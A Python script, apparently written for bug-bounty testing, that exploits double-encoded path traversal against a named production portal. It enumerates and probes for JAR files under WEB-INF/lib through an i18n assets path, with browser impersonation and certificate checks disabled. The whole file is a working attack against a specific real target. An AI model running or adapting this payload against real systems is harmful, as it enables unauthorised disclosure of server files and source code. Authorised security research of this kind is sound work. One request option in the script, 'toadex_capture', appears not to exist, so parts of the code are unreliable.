from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor
import os,json
host='mein-portal.baloise.de'; trav='/'.join(['%252e%252e']*4)
base=f'https://{host}/auth/ui/assets/airlock/i18n/{trav}/WEB-INF/lib/'
H={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
arts=[os.path.basename(x).rsplit('-',1)[0] for x in os.listdir('work/source-derived/airlock-iam-8.6.1/jars') if x.endswith('.jar')]
arts=sorted(set(arts))
versions=['8.4.4','8.5.4','8.5.3','8.6.0','8.6.1','8.7.0']
names=[]
for a in arts:
 names += [f'{a}-{v}.jar' for v in versions]
 names += [f'{a}.jar',f'airlock-iam-{a}.jar',f'iam-{a}.jar']
# known login aggregate naming variants
for v in versions:
 for a in ['airlock-iam','airlock-iam-login','airlock-iam-loginapp','iam-login','iam-loginapp','loginapp','login-app','auth-login','airlock-loginapp','airlock-login']:
  names += [f'{a}-{v}.jar']
names=list(dict.fromkeys(names))
def one(name):
 try:
  r=requests.get(base+name+';.json?layout=1',headers=H,timeout=20,allow_redirects=False,verify=False,impersonate='chrome',toadex_capture=False)
  return {'name':name,'status':r.status_code,'size':len(r.content),'ct':r.headers.get('content-type')}
 except Exception as e:return {'name':name,'status':0,'error':repr(e)}
with ThreadPoolExecutor(max_workers=4) as ex: rows=list(ex.map(one,names))
open('work/scratch/liferay-critical/i18n-airlock-jar-layout.jsonl','w').write('\n'.join(json.dumps(x) for x in rows)+'\n')
for x in rows:
 if x['status']!=200 or x.get('size')!=2: print(json.dumps(x))
print('artifacts',len(arts),'names',len(names),'statuses', {s:sum(x['status']==s for x in rows) for s in sorted(set(x['status'] for x in rows))})
